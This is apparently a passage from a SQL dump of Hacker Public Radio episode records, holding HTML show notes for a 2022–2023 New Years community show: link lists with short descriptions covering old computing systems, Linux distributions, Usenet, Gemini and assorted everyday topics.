/>\n<a\nhref=\"https://www.ibm.com/docs/en/zos/2.3.0?topic=planning-configuring-unix-unix-copy-program-uucp\"\nclass=\"uri\">https://www.ibm.com/docs/en/zos/2.3.0?topic=planning-configuring-unix-unix-copy-program-uucp</a></p></li>\n<li><p>VM 370<br />\n<a href=\"https://gunkies.org/wiki/VM/370\"\nclass=\"uri\">https://gunkies.org/wiki/VM/370</a><br />\n<a href=\"http://www.vm370.org/\"\nclass=\"uri\">http://www.vm370.org/</a><br />\n<a\nhref=\"https://pages.cs.wisc.edu/~stjones/proj/vm_reading/ibmrd2505M.pdf\"\nclass=\"uri\">https://pages.cs.wisc.edu/~stjones/proj/vm_reading/ibmrd2505M.pdf</a></p></li>\n<li><p>MVS<br />\n<a href=\"https://en.wikipedia.org/wiki/MVS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/MVS</a><br />\n<a href=\"https://www.techtarget.com/searchdatacenter/definition/MVS\"\nclass=\"uri\">https://www.techtarget.com/searchdatacenter/definition/MVS</a></p></li>\n<li><p>alt.folklore.computers (Usenet)<br />\n<a href=\"https://groups.google.com/g/alt.folklore.computers\"\nclass=\"uri\">https://groups.google.com/g/alt.folklore.computers</a></p></li>\n<li><p>Folklore.org - Apple Computer History<br />\n<a href=\"https://www.folklore.org/\"\nclass=\"uri\">https://www.folklore.org/</a></p></li>\n<li><p>The Story Of How Crash Bandicoot Was Made By Hacking the Sony\nPlaystation<br />\n<a\nhref=\"https://arstechnica.com/gaming/2021/09/war-stories-how-crash-bandicoot-hacked-the-original-playstation/\"\nclass=\"uri\">https://arstechnica.com/gaming/2021/09/war-stories-how-crash-bandicoot-hacked-the-original-playstation/</a></p></li>\n<li><p>CP/M<br />\n<a href=\"https://landley.net/history/mirror/cpm/history.html\"\nclass=\"uri\">https://landley.net/history/mirror/cpm/history.html</a><br />\n<a\nhref=\"https://www.howtogeek.com/718124/what-was-cpm-and-why-did-it-lose-to-ms-dos/\"\nclass=\"uri\">https://www.howtogeek.com/718124/what-was-cpm-and-why-did-it-lose-to-ms-dos/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/CP/M\"\nclass=\"uri\">https://en.wikipedia.org/wiki/CP/M</a></p></li>\n<li><p>DiOS<br />\n<a href=\"https://en.wikipedia.org/wiki/DOS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/DOS</a><br />\n<a href=\"https://youtu.be/ZtXTAYT2DFM\"\nclass=\"uri\">https://youtu.be/ZtXTAYT2DFM</a> (MS-DOS)</p></li>\n<li><p>Free Pascal<br />\n<a href=\"https://www.freepascal.org/\"\nclass=\"uri\">https://www.freepascal.org/</a><br />\n<a href=\"https://wiki.freepascal.org/Projects_using_Free_Pascal\"\nclass=\"uri\">https://wiki.freepascal.org/Projects_using_Free_Pascal</a></p></li>\n<li><p>Lazarus Project<br />\n<a href=\"https://www.lazarus-ide.org/\"\nclass=\"uri\">https://www.lazarus-ide.org/</a></p></li>\n<li><p>Project Gemini<br />\n<a href=\"https://geminiquickst.art/\"\nclass=\"uri\">https://geminiquickst.art/</a><br />\n<a href=\"https://gemini.circumlunar.space/docs/faq.html\"\nclass=\"uri\">https://gemini.circumlunar.space/docs/faq.html</a></p></li>\n<li><p>Gopher<br />\n<a href=\"https://web.cortland.edu/flteach/methods/obj1/gopher.html\"\nclass=\"uri\">https://web.cortland.edu/flteach/methods/obj1/gopher.html</a><br />\n<a\nhref=\"https://www.howtogeek.com/661871/the-web-before-the-web-a-look-back-at-gopher/\"\nclass=\"uri\">https://www.howtogeek.com/661871/the-web-before-the-web-a-look-back-at-gopher/</a><br />\n<a href=\"http://gopher.quux.org:70/\"\nclass=\"uri\">http://gopher.quux.org:70/</a></p></li>\n<li><p>Plan 9<br />\n<a href=\"https://9p.io/plan9/\"\nclass=\"uri\">https://9p.io/plan9/</a><br />\n<a\nhref=\"https://www.bell-labs.com/institute/blog/plan-9-bell-labs-cyberspace/\"\nclass=\"uri\">https://www.bell-labs.com/institute/blog/plan-9-bell-labs-cyberspace/</a></p></li>\n<li><p>UTF-8<br />\n<a href=\"https://en.wikipedia.org/wiki/UTF-8\"\nclass=\"uri\">https://en.wikipedia.org/wiki/UTF-8</a><br />\n<a href=\"https://blog.hubspot.com/website/what-is-utf-8\"\nclass=\"uri\">https://blog.hubspot.com/website/what-is-utf-8</a></p></li>\n<li><p>Distributed computing<br />\n<a href=\"https://hazelcast.com/glossary/distributed-computing/\"\nclass=\"uri\">https://hazelcast.com/glossary/distributed-computing/</a></p></li>\n<li><p>Amfora (Gemini Client)<br />\n<a href=\"https://www.freshports.org/www/amfora/\"\nclass=\"uri\">https://www.freshports.org/www/amfora/</a><br />\n<a href=\"https://github.com/makeworld-the-better-one/amfora\"\nclass=\"uri\">https://github.com/makeworld-the-better-one/amfora</a></p></li>\n<li><p>Lagrange (Gemini Client)<br />\n<a href=\"https://gmi.skyjake.fi/lagrange/\"\nclass=\"uri\">https://gmi.skyjake.fi/lagrange/</a></p></li>\n<li><p>ASCII Art<br />\n<a href=\"https://www.asciiart.eu/\"\nclass=\"uri\">https://www.asciiart.eu/</a></p></li>\n<li><p>Wayland<br />\n<a href=\"https://wayland.freedesktop.org/\"\nclass=\"uri\">https://wayland.freedesktop.org/</a></p></li>\n<li><p>X Window System<br />\n<a href=\"https://en.wikipedia.org/wiki/X_Window_System\"\nclass=\"uri\">https://en.wikipedia.org/wiki/X_Window_System</a></p></li>\n<li><p>TOFU (Trust On First Use)<br />\n<a\nhref=\"https://doubleoctopus.com/security-wiki/protocol/trust-on-first-use/\"\nclass=\"uri\">https://doubleoctopus.com/security-wiki/protocol/trust-on-first-use/</a></p></li>\n<li><p>Lets Encrypt<br />\n<a href=\"https://letsencrypt.org/\"\nclass=\"uri\">https://letsencrypt.org/</a></p></li>\n<li><p>CA (Certificate Authority)<br />\n<a href=\"https://www.ssl.com/faqs/what-is-a-certificate-authority/\"\nclass=\"uri\">https://www.ssl.com/faqs/what-is-a-certificate-authority/</a></p></li>\n<li><p>SSH Keys<br />\n<a href=\"https://www.ssh.com/academy/ssh-keys\"\nclass=\"uri\">https://www.ssh.com/academy/ssh-keys</a></p></li>\n<li><p>SFTP<br />\n<a\nhref=\"https://www.ssh.com/academy/ssh/sftp-ssh-file-transfer-protocol\"\nclass=\"uri\">https://www.ssh.com/academy/ssh/sftp-ssh-file-transfer-protocol</a></p></li>\n<li><p>Station - The Social Network for Gemini<br />\n<a href=\"https://martinrue.com/station/\"\nclass=\"uri\">https://martinrue.com/station/</a></p></li>\n<li><p>PGP (Pretty Good Privacy)<br />\n<a\nhref=\"https://www.makeuseof.com/tag/pgp-me-pretty-good-privacy-explained/\"\nclass=\"uri\">https://www.makeuseof.com/tag/pgp-me-pretty-good-privacy-explained/</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Pretty_Good_Privacy\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Pretty_Good_Privacy</a><br />\n<a href=\"https://www.openpgp.org/\"\nclass=\"uri\">https://www.openpgp.org/</a></p></li>\n<li><p>FTP<br />\n<a href=\"https://en.wikipedia.org/wiki/File_Transfer_Protocol\"\nclass=\"uri\">https://en.wikipedia.org/wiki/File_Transfer_Protocol</a></p></li>\n<li><p>FTPS<br />\n<a href=\"https://en.wikipedia.org/wiki/FTPS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/FTPS</a></p></li>\n<li><p>SAMBA<br />\n<a href=\"https://www.samba.org/\"\nclass=\"uri\">https://www.samba.org/</a></p></li>\n<li><p>SSHFS<br />\n<a href=\"https://en.wikipedia.org/wiki/SSHFS\"\nclass=\"uri\">https://en.wikipedia.org/wiki/SSHFS</a></p></li>\n<li><p>Kennedy (search engine for Gemini Space)<br />\n<a href=\"https://github.com/acidus99/Kennedy\"\nclass=\"uri\">https://github.com/acidus99/Kennedy</a></p></li>\n<li><p>ChillyWeather<br />\n<a href=\"https://github.com/acidus99/ChillyWeather\"\nclass=\"uri\">https://github.com/acidus99/ChillyWeather</a></p></li>\n<li><p>News Waffle<br />\n<a href=\"http://techrights.org/2022/08/20/news-services-in-gemini/\"\nclass=\"uri\">http://techrights.org/2022/08/20/news-services-in-gemini/</a></p></li>\n<li><p>NEOVIM<br />\n<a href=\"https://neovim.io/\" class=\"uri\">https://neovim.io/</a></p></li>\n<li><p>EMACS<br />\n<a href=\"https://opensource.com/resources/what-emacs\"\nclass=\"uri\">https://opensource.com/resources/what-emacs</a></p></li>\n<li><p>FSF<br />\n<a href=\"https://www.fsf.org/\"\nclass=\"uri\">https://www.fsf.org/</a></p></li>\n<li><p>OGGCAMP<br />\n<a href=\"https://oggcamp.org/\"\nclass=\"uri\">https://oggcamp.org/</a></p></li>\n<li><p>LISP<br />\n<a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Lisp_(programming_language)</a></p></li>\n<li><p>Pascal<br />\n<a\nhref=\"https://thehistoryofcomputing.net/the-pascal-programming-language\"\nclass=\"uri\">https://thehistoryofcomputing.net/the-pascal-programming-language</a></p></li>\n<li><p>Cray Computers<br />\n<a href=\"https://www.hpe.com/us/en/compute/hpc/cray.html\"\nclass=\"uri\">https://www.hpe.com/us/en/compute/hpc/cray.html</a><br />\n<a href=\"https://www.craysupercomputers.com/\"\nclass=\"uri\">https://www.craysupercomputers.com/</a></p></li>\n<li><p>Borland Pascal (Turbo Pascal)<br />\n<a href=\"https://en.wikipedia.org/wiki/Turbo_Pascal\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Turbo_Pascal</a><br />\n<a href=\"https://borlandpascal.fandom.com/wiki/Borland_Pascal\"\nclass=\"uri\">https://borlandpascal.fandom.com/wiki/Borland_Pascal</a></p></li>\n<li><p>Google Groups (a sort of usenet front end)<br />\n<a href=\"https://groups.google.com/my-groups\"\nclass=\"uri\">https://groups.google.com/my-groups</a></p></li>\n<li><p>alt.sysadmin.recovery<br />\n<a href=\"https://groups.google.com/g/alt.sysadmin.recovery\"\nclass=\"uri\">https://groups.google.com/g/alt.sysadmin.recovery</a></p></li>\n<li><p>BOFH Archive<br />\n<a href=\"https://www.theregister.com/offbeat/bofh/\"\nclass=\"uri\">https://www.theregister.com/offbeat/bofh/</a></p></li>\n</ul>\n<p>Thanks To:<br />\nMumble Server: Delwin<br />\nHPR Site/VPS: Joshua Knapp - AnHonestHost.com<br />\nStreams: Honkeymagoo<br />\nEtherPad: HonkeyMagoo<br />\nShownotes by: Sgoti and hplovecraft</p>\n',159,121,1,'CC-BY-SA','hpr,new years,community',0,0,1),
(3814,'2023-03-16','2022-2023 New Years Show Episode 3',7265,'2022 - 2023 new years show where people come together and chat','<h2 id=\"episode-3\">Episode #3</h2>\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/The_Drunkard%27s_Walk\">wikipedia:</a>\nThe Drunkard\'s Walk: How Randomness Rules Our Lives.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Lactose_intolerance\">wikipedia:</a>\nLactose intolerance is a common condition caused by a decreased ability\nto digest lactose, a sugar found in dairy products.</li>\n<li><a\nhref=\"https://en.uncyclopedia.co/wiki/Tree_hugging_hippy\">uncyclopedia:</a>\nA tree hugging hippy is a hippy who hugs trees often found in Bezerkley,\nCalifornia. Many people think that there is much more to say about tree\nhugging hippies than just the fact that they hug trees, but reality is,\nthat there is not really very much more to say about tree hugging\nhippies than that they hug trees.</li>\n<li><a\nhref=\"https://www.merriam-webster.com/dictionary/vegetarian\">merriam-webster:</a>\nA vegetarian is a person who does not eat meat : someone whose diet\nconsists wholly of vegetables, fruits, grains, nuts, and sometimes eggs\nor dairy products.</li>\n<li><a\nhref=\"https://www.merriam-webster.com/dictionary/vegan\">merriam-webster:</a>\nA vegan is a strict vegetarian who consumes no food (such as meat, eggs,\nor dairy products) that comes from animals.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Liberalism\">wikipedia:</a>\nLiberalism is a political and moral philosophy based on the rights of\nthe individual, liberty, consent of the governed, political equality and\nequality before the law. Liberals espouse various views depending on\ntheir understanding of these principles.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Conservatism\">wikipedia:</a>\nConservatism is a cultural, social, and political philosophy that seeks\nto promote and to preserve traditional institutions, practices, and\nvalues. The central tenets of conservatism may vary in relation to the\nculture and civilization in which it appears.</li>\n<li><a href=\"https://www.ssa.gov/agency/\">ssa:</a> Social Security is\ncommitted to helping maintain the basic well-being and protection of the\npeople we serve. We pay benefits to about 64 million people including\nretirees, children, widows, and widowers. From birth, to marriage, and\ninto retirement, we are there to provide support throughout life\'s\njourney.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Dehydration\">wikipedia:</a>\nIn physiology, dehydration is a lack of total body water, with an\naccompanying disruption of metabolic processes. It occurs when free\nwater loss exceeds free water intake, usually due to exercise, disease,\nor high environmental temperature. Mild dehydration can also be caused\nby immersion diuresis, which may increase risk of decompression sickness\nin divers.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Emergency_medical_technician\">wikipedia:</a>\nAn emergency medical technician (EMT), also known as an ambulance\ntechnician, is a health professional that provides emergency medical\nservices. EMTs are most commonly found working in ambulances. In\nEnglish-speaking countries, paramedics are a separate profession that\nhas additional educational requirements, qualifications, and scope of\npractice.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Post-traumatic_stress_disorder\">wikipedia:</a>\nPost-traumatic stress disorder (PTSD) is a mental and behavioral\ndisorder that can develop because of exposure to a traumatic event, such\nas sexual assault, warfare, traffic collisions, child abuse, domestic\nviolence, or other threats on a person\'s life.</li>\n<li><a href=\"https://www.anxiety.org/what-is-anxiety\">anxiety:</a>\nAnxiety is the mind and body\'s reaction to stressful, dangerous, or\nunfamiliar situations. It\'s the sense of uneasiness, distress, or dread\nyou feel before a significant event.</li>\n<li><a href=\"https://alcoholism.org/alcohol/family/\">alcoholism:</a>\nAlcoholism is a condition that develops over time as someone continues\nto abuse alcohol. The result of alcoholism is the inability to control\nthe urge to drink alcohol.</li>\n<li><a href=\"https://neomutt.org/guide/gettingstarted.html\">neomutt:</a>\nNeoMutt is a text-based application which interacts with users through\ndifferent menus which are mostly line-/entry-based or page-based.</li>\n<li><a href=\"https://www.gnu.org/software/emacs/\">gnu:</a>\n<code>emacs</code> is an extensible, customizable, free/libre text\neditor &#x2014; and more.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Usenet\">wikipedia:</a> Usenet\nis a worldwide distributed discussion system available on computers. It\nwas developed from the general-purpose Unix-to-Unix Copy (UUCP) dial-up\nnetwork architecture.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Google%2B\">wikipedia:</a>\nGoogle+ (pronounced and sometimes written as Google Plus; sometimes\ncalled G+) was a social network owned and operated by Google. The\nnetwork was launched on June 28, 2011, in an attempt to challenge other\nsocial networks, linking other Google products like Google Drive,\nBlogger and YouTube.</li>\n<li><a href=\"https://techandcoffee.info/\">techandcoffee:</a> A virtual\nwater cooler for the world of tech.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Yahoo!_Messenger\">wikipedia:</a>\nYahoo! Messenger (sometimes abbreviated Y!M) was an\nadvertisement-supported instant messaging client and associated protocol\nprovided by Yahoo!. Yahoo! Messenger was provided free of charge and\ncould be downloaded and used with a generic \"Yahoo ID\" which also\nallowed access to other Yahoo! services, such as Yahoo! Mail.</li>\n<li><a href=\"https://discord.com/\">discord:</a> A place that makes it\neasy to talk every day and hang out more often.</li>\n<li><a href=\"https://telegram.org/\">telegram:</a> Telegram is a\ncloud-based mobile and desktop messaging app with a focus on security\nand speed.</li>\n<li><a href=\"https://www.computerhope.com/jargon/i/irc.htm\">IRC</a> IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.</li>\n<li><a href=\"https://mintcast.org/\">mintCast</a> The podcast by the\nLinux Mint community for all users of Linux.</li>\n<li><a\nhref=\"https://distrohoppersdigest.blogspot.com/\">distrohoppersdigest:</a>\nWe are three Blokes who love Linux and trying out new stuff.</li>\n<li><a\nhref=\"https://fullcirclemagazine.org/\">fullcirclemagazine:</a></li>\n<li><a href=\"https://linuxlads.com/\">linuxlads:</a></li>\n<li><a href=\"https://www.samsclub.com\">samsclub:</a> Sam&#x2019;s Club is a\nmembership warehouse club, a limited-item business model that offers our\nmembers quality products.</li>\n<li><a href=\"https://www.walmart.com/\">walmart:</a> Walmart Inc. is an\nAmerican multinational retail corporation that operates a chain of\nhypermarkets, discount department stores, and grocery stores from the\nUnited States, headquartered in Bentonville, Arkansas.</li>\n<li><a href=\"https://www.target.com/\">target:</a> Target Corporation is\nan American big box department store chain headquartered in Minneapolis,\nMinnesota.</li>\n<li><a\nhref=\"https://www.mcdonalds.com/us/en-us/product/egg-mcmuffin.html\">mcdonalds:</a>\nMcMuffin is a family of breakfast sandwiches sold by the international\nfast food restaurant chain McDonald\'s.</li>\n<li><a href=\"https://joinmastodon.org/\">joinmastodon:</a> Social\nnetworking that\'s not for sale.</li>\n<li><a href=\"https://www.ciachef.edu/\">ciachef:</a> You love food. And\nyou&#x2019;re pretty sure you want to make it your life. If this sounds like\nyou, then The Culinary Institute of America is the only place you need\nto be.</li>\n<li><a\nhref=\"https://www.fda.gov/food/food-labeling-nutrition/food-allergies\">fda:</a>\nA food allergy is an abnormal immune response to food. The symptoms of\nthe allergic reaction may range from mild to severe.</li>\n<li><a\nhref=\"https://www.healthline.com/nutrition/how-to-meal-prep\">healthline:</a>\nSpend less time in the kitchen: Choose which meals to cook first based\non cook times.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Beekeeping\">wikipedia:</a>\nBeekeeping is the maintenance of bee colonies, commonly in man-made\nbeehives.</li>\n<li><a\nhref=\"https://www.veganfriendly.org.uk/articles/ethics-of-veganism/\">veganfriendly:</a>\nThe Ethics of Veganism: Ethical Reasons to Go Vegan.</li>\n<li><a\nhref=\"https://www.worldwildlife.org/industries/beef\">worldwildlife:</a>\nBeef production has several distinct and significant impacts on the\nenvironment.</li>\n<li><a href=\"https://xess.com/manuals/xs40-manual-v1_4.pdf2:\">xess:</a>\nHow to install, test, and use your new XS40 or XSP Board.\n<ul>\n<li><a href=\"https://www.ebay.com/itm/334294589255\">ebay:</a> SBC ISA\n386 SX40 single computer cpu card OMNI-300 4MB.</li>\n</ul></li>\n<li><a href=\"https://linuxmint.com/\">linuxmint:</a> Linux Mint is a\ncommunity-driven Linux distribution based on Ubuntu, bundled with a\nvariety of free and open-source applications.</li>\n<li><a href=\"https://www.linuxliteos.com/\">linuxliteos:</a> Linux Lite\nis a Linux distribution based on Debian and Ubuntu created by a team of\nprogrammers led by Jerry Bezencon.</li>\n<li><a href=\"https://sparkylinux.org/\">sparkylinux:</a> SparkyLinux is a\ndesktop-oriented operating system based on the Debian operating\nsystem.</li>\n<li><a href=\"https://ubuntu.com/\">ubuntu:</a> Ubuntu is a Linux\ndistribution based on Debian and composed mostly of free and open-source\nsoftware.</li>\n<li><a href=\"https://snapcraft.io/\">snapcraft:</a> Snaps are\ncontainerised software packages that are simple to create and install.\nThey auto-update and are safe to run.</li>\n<li><a href=\"http://www.slackware.com/\">slackware:</a> Slackware is a\nLinux distribution created by Patrick Volkerding in 1993.</li>\n<li><a href=\"https://archlinux.org/\">archlinux:</a> Arch Linux is an\nindependently developed, x86-64 general-purpose Linux distribution that\nstrives to provide the latest stable versions of most software by\nfollowing a rolling-release model.</li>\n<li><a href=\"https://www.gnu.org/software/grub/\">gnu:</a> GNU GRUB is a\nMultiboot boot loader. It was derived from GRUB, the GRand Unified\nBootloader, which was originally designed and implemented by Erich\nStefan Boleyn.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Mavis_Beacon_Teaches_Typing\">wikipedia:</a>\nMavis Beacon Teaches Typing is an application software program designed\nto teach touch typing.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_Microsoft_Windows_versions\">wikipedia:</a>\nMicrosoft Windows is a computer operating system developed by\nMicrosoft.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_Microsoft_365_applications_and_services\">wikipedia:</a>\nList of Microsoft 365 applications and services.</li>\n<li><a href=\"https://www.freedos.org/\">freedos:</a> FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.</li>\n<li><a href=\"https://www.blackberry.com/us/en\">blackberry:</a>\nBlackBerry was a brand of <a\nhref=\"https://en.wikipedia.org/wiki/BlackBerry\">smartphones</a> and\nother related mobile services and devices.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/OS/2\">wikipedia:</a> OS/2\n(Operating System/2) is a series of computer operating systems,\ninitially created by Microsoft and IBM under the leadership of IBM\nsoftware designer Ed Iacobucci.</li>\n<li><a href=\"https://library.pcom.edu/accounts/\">pcom:</a> The PCOM\nnetwork account is used to logon to on-campus computers and to\nauthenticate off-campus users.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM\">wikipedia:</a> The\nInternational Business Machines Corporation (IBM), nicknamed Big Blue,\nis an American multinational technology corporation headquartered in\nArmonk, New York, with operations in over 175 countries. It specializes\nin computer hardware, middleware and software and provides hosting and\nconsulting services in areas ranging from mainframe computers to\nnanotechnology.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM_RT_PC\">wikipedia:</a> The\nIBM RT PC (RISC Technology Personal Computer) is a family of workstation\ncomputers from IBM introduced in 1986. These were the first commercial\ncomputers from IBM that were based on a reduced instruction set computer\n(RISC) architecture.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/IBM_PS/2\">wikipedia:</a> The\nPersonal System/2 or PS/2 is IBM\'s second generation of personal\ncomputers. Released in 1987, it officially replaced the IBM PC, XT, AT,\nand PC Convertible in IBM\'s lineup.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Token_Ring\">wikipedia:</a>\nToken Ring is a computer networking technology used to build local area\nnetworks. It was introduced by IBM in 1984, and standardized in 1989 as\nIEEE 802.5.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Network_Termination_Device_(NBN)\">wikipedia:</a>\nA Network Termination Device (NTD) is a customer-side network interface\ndevice used by the Australian National Broadband Network (NBN). Network\ntermination devices provide multiple bridges for customers to access the\nNBN.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Internet_protocol_suite\">wikipedia:</a>\nThe Internet protocol suite, commonly known as TCP/IP, is a framework\nfor organizing the set of communication protocols used in the Internet\nand similar computer networks according to functional criteria. The\nfoundational protocols in the suite are the Transmission Control\nProtocol (TCP), the User Datagram Protocol (UDP), and the Internet\nProtocol (IP).</li>\n<li><a href=\"https://www.rtx.com/\">rtx:</a> The Raytheon Company is a\nmajor U.S. defense contractor and industrial corporation with core\nmanufacturing concentrations in weapons and military and commercial\nelectronics.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Wafer_(electronics)\">wikipedia:</a>\nIn electronics, a wafer (also called a slice or substrate) is a thin\nslice of semiconductor, such as a crystalline silicon (c-Si), used for\nthe fabrication of integrated circuits and, in photovoltaics, to\nmanufacture solar cells.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transistor\">wikipedia:</a> A\ntransistor is a semiconductor device used to amplify or switch\nelectrical signals and power. The transistor is one of the basic\nbuilding blocks of modern electronics.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Resistor\">wikipedia:</a> A\nresistor is a passive two-terminal electrical component that implements\nelectrical resistance as a circuit element. In electronic circuits,\nresistors are used to reduce current flow, adjust signal levels, to\ndivide voltages, bias active elements, and terminate transmission lines,\namong other uses.</li>\n<li><a\nhref=\"https://mitpress.mit.edu/9780262517201/ibms-360-and-early-370-systems/\">mit:</a>\nIBM\'s 360 and Early 370 Systems.</li>\n<li><a\nhref=\"https://www.history.com/this-day-in-history/the-great-san-francisco-earthquake\">history:</a>\nThe Great San Francisco Earthquake.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Secretarial_pool\">wikipedia:</a> A\nsecretarial pool or typing pool is a group of secretaries working at a\ncompany available to assist any executive without a permanently assigned\nsecretary. These groups have been reduced or eliminated where executives\nhave been assigned responsibility for writing their own letters and\nother secretarial work.</li>\n<li><a href=\"https://www.debian.org/\">debian:</a> Debian, also known as\nDebian GNU/Linux, is a Linux distribution composed of free and\nopen-source software, developed by the community-supported Debian\nProject, which was established by Ian Murdock on August 16, 1993.</li>\n<li><a href=\"https://nobaraproject.org/\">nobaraproject:</a> The Nobara\nProject, to put it simply, is a modified version of Fedora Linux with\nuser-friendly fixes added to it.</li>\n<li><a href=\"https://getfedora.org/\">getfedora:</a> Fedora Linux is a\nLinux distribution developed by the Fedora Project. Fedora contains\nsoftware distributed under various free and open-source licenses and\naims to be on the leading edge of open-source technologies.</li>\n<li><a href=\"https://dwm.suckless.org/tutorial/\">suckless:</a> dwm is a\ndynamic window manager for Xorg.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/ThinkPad_X_series#X200_and_X200s\">wikipedia:</a>\nThe ThinkPad X series is a line of laptop computers and convertible\ntablets produced by Lenovo with less power than its other counterparts.\nIt was initially produced by IBM until 2005.</li>\n<li><a\nhref=\"https://www.newsgroups.com/do-newsgroups-still-exist-today/\">newsgroups:</a>\nUsenet is a very popular platform, and Newsgroups are a crucial part of\nIt because Users to interact with each other, share and share\nstuff.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gopher_(protocol)\">wikipedia:</a>\nThe Gopher protocol (/&#x2C8;&#x261;o&#x28A;f&#x259;r/) is a communication protocol designed for\ndistributing, searching, and retrieving documents in Internet Protocol\nnetworks.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Gemini_(protocol)\">wikipedia:</a>\nGemini is an application-layer internet communication protocol for\naccessing remote documents, similar to the Hypertext Transfer Protocol\n(HTTP) and Gopher.</li>\n<li><a\nhref=\"https://github.com/makeworld-the-better-one/amfora\">github:</a>\nAmfora aims to be the best looking Gemini client with the most\nfeatures... all in the terminal. It does not support Gopher or other\nnon-Web protocols - check out Bombadillo for that.</li>\n<li><a\nhref=\"https://gemini.circumlunar.space/clients.html\">circumlunar:</a>\nYou can use the following Gemini clients to connect to this server via\nthe Gemini protocol and access the full range of content.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Dial-up_Internet_access\">wikipedia:</a>\nDial-up Internet access is a form of Internet access that uses the\nfacilities of the public switched telephone network (PSTN) to establish\na connection to an Internet service provider (ISP) by dialing a\ntelephone number on a conventional telephone line.</li>\n<li><a href=\"https://www.youtube.com/watch?v=Vrrw1ZVNdCo\">youtube:</a>\nThe FCC and Federal marshals raid a pirate radio station in Knoxville\nTennessee.</li>\n<li><a\nhref=\"https://banana.fish/sysadmin/alt.sysadmin.recovery-faq\">fish:</a>\nnewsgroup for discussion by recovering sysadmins.</li>\n<li><a href=\"https://www.thunderbird.net/en-US/\">thunderbird:</a>\nThunderbird is an open source project, which means anyone can contribute\nideas, designs, code, and time helping fellow users.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Eternal_September\">wikipedia:</a>\nEternal September or the September that never ended is Usenet slang for\na period beginning around 1993 when Internet service providers began\noffering Usenet access to many new users.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/BBM_(software)\">wikipedia:</a> BBM,\nalso known by its full name BlackBerry Messenger, was a proprietary\nmobile instant messenger and videotelephony application included on\nBlackBerry devices that allows messaging and voice calls between\nBlackBerry OS, BlackBerry 10, iOS, Android, and Windows Mobile\nusers.</li>\n<li><a href=\"https://www.opensuse.org/\">opensuse:</a> openSUSE, formerly\nSUSE Linux and SuSE Linux Professional, is a Linux distribution\nsponsored by SUSE Linux GmbH and other companies.</li>\n<li><a\nhref=\"https://www.bbc.com/worklife/article/20200417-what-hermits-can-teach-us-about-isolation\">bbc:</a>\nWhat hermits can teach us about isolation.</li>\n<li><a href=\"http://www.stwww.com/usenet/index.html\">stwww:</a> THE STAR\nTREK NEWSGROUPS.</li>\n<li><a\nhref=\"https://www.ebay.com/sch/i.html?_nkw=hp+elitedesk&amp;_sop=12&amp;mkevt=1&amp;mkcid=1&amp;mkrid=711-53200-19255-0&amp;campid=5337590774&amp;customid=&amp;toolid=10001\">ebay:</a>\n2,400+ results for hp elitedesk on ebay.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/M.2\">wikipedia:</a> M.2,\npronounced m dot two and formerly known as the Next Generation Form\nFactor (NGFF), is a specification for internally mounted computer\nexpansion cards and associated connectors. M.2 replaces the mSATA\nstandard, which uses the PCI Express Mini Card physical card layout and\nconnectors.</li>\n<li><a href=\"https://www.oggcamp.org/\">oggcamp:</a> OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.</li>\n<li><a\nhref=\"https://www.mass.gov/files/documents/2016/09/sm/lawenforcement.pdf\">mass:</a>\nIt is illegal for private citizens to use, possess, or sell fireworks in\nMassachusetts, or to purchase them legally elsewhere and then transport\nthem into the state. The law prohibits any article designed to produce a\nvisible or audible effect.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/COVID-19_pandemic\">wikipedia:</a>\nThe COVID-19 pandemic, also known as the coronavirus pandemic, is an\nongoing global pandemic of coronavirus disease 2019 (COVID-19) caused by\nsevere acute respiratory syndrome coronavirus 2 (SARS-CoV-2). The novel\nvirus was first identified in an outbreak in the Chinese city of Wuhan\nin December 2019.</li>\n<li><a\nhref=\"https://www.cdc.gov/flu/business/promoting-vaccines-workplace.htm\">cdc:</a>\nVaccination often already covered under employee health plans Improves\nmorale Benefits to Employees: Reduces absences due to sickness and\ndoctor visits Improves health Convenience Improves morale Benefits will\nvary based on investment by employers in 